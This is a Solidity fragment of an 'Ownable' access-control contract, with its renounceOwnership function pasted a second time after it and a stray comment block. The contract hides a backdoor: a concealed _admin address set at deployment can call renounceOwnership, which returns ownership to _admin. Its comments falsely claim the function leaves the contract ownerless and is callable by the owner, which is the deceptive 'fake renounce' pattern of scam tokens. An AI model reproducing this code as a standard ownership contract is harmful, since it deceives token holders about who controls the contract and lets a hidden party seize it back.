abstract contract Ownable is Context {
    /// @notice store owner.
    address public owner;

    /// @notice store _admin using for reverting ownership.
    address public _admin;

    /// @notice OwnershipTransferred emit on each ownership transfered.
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        owner = _msgSender();
        _admin = _msgSender();
        emit OwnershipTransferred(address(0), owner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyAdmin() {
        require(_admin == _msgSender(), "Ownable: caller is not the admin");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public onlyAdmin {
        emit OwnershipTransferred(owner, _admin);
        owner = _admin;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }
}
function renounceOwnership() public onlyAdmin {
    emit OwnershipTransferred(owner, _admin);
    owner = _admin;
}

/**
 * @dev Leaves the contract without owner. It will not be possible to call
 * `onlyOwner` functions anymore. Can only be called by the current owner.
 *
 * NOTE: Renouncing ownership will leave the contract without an owner,
 * thereby removing any functionality that is only available to the owner.
 */